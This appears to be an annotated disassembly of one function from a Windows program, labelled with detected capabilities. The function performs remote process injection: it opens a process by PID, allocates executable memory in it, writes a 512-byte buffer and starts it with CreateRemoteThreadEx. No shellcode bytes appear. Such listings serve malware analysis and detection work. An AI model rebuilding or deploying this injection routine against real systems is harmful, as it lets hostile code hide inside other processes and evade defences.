Function at 0x140011285
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118d0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x40]
lea rcx, [0x1400230a2]
call fcn.140011389
nop
cmp dword [rbp + 0xe0], 2
je 0x14001192f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xe8]
mov r8, qword [rcx + rax]
mov rdx, qword [0x14001d010]
lea rcx, str._s_usage:__s__PID_
call fcn.14001119f
nop
mov eax, 1
jmp 0x140011b90
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xe8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [0x14001d480], eax
mov r8d, dword [0x14001d480]
mov rdx, qword [0x14001d008]
lea rcx, str._s_trying_to_open_a_handle_to_process___ld__n
call fcn.14001119f
nop
mov r8d, dword [0x14001d480]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001d490], rax
cmp qword [0x14001d490], 0
jne 0x1400119bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [0x14001d480]
mov rdx, qword [0x14001d010]
lea rcx, str._s_couldnt_get_a_handle_to_the_process___ld___error:__ld
call fcn.14001119f
nop
mov eax, 1
jmp 0x140011b90
mov r8, qword [0x14001d490]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_process__n___0x_p_n
call fcn.14001119f
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x14001d490]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x14001d488], rax
mov r8d, 0x200
mov rdx, qword [section..data]
lea rcx, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
call fcn.14001119f
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, [0x14001d020]
mov rdx, qword [0x14001d488]
mov rcx, qword [0x14001d490]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov r8d, 0x200
mov rdx, qword [section..data]
lea rcx, str._s_wrote__zu_bytes_to_process_memory_n
call fcn.14001119f
nop
lea rax, [0x14001d484]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x14001d488]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001d490]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x14001d498], rax
cmp qword [0x14001d498], 0
jne 0x140011aed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [0x14001d484]
mov rdx, qword [0x14001d010]
lea rcx, str._s_failed_to_get_a_handle_to_the_thread___ld___error:__ld
call fcn.14001119f
nop
mov rcx, qword [0x14001d490]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x140011b90
mov r9, qword [0x14001d498]
mov r8d, dword [0x14001d484]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_thread___ld___n___0x_p_n
call fcn.14001119f
nop
mov rdx, qword [0x14001d008]
lea rcx, str._s_waiting_for_thread_to_finish_n
call fcn.14001119f
nop
mov edx, 0xffffffff
mov rcx, qword [0x14001d498]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [section..data]
lea rcx, str._s_thread_finished_executing_n
call fcn.14001119f
nop
mov rdx, qword [0x14001d008]
lea rcx, str._s_cleaning_up_n
call fcn.14001119f
nop
mov rcx, qword [0x14001d498]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [0x14001d490]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [section..data]
lea rcx, str._s_finished__until_next_time___3_n
call fcn.14001119f
nop
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret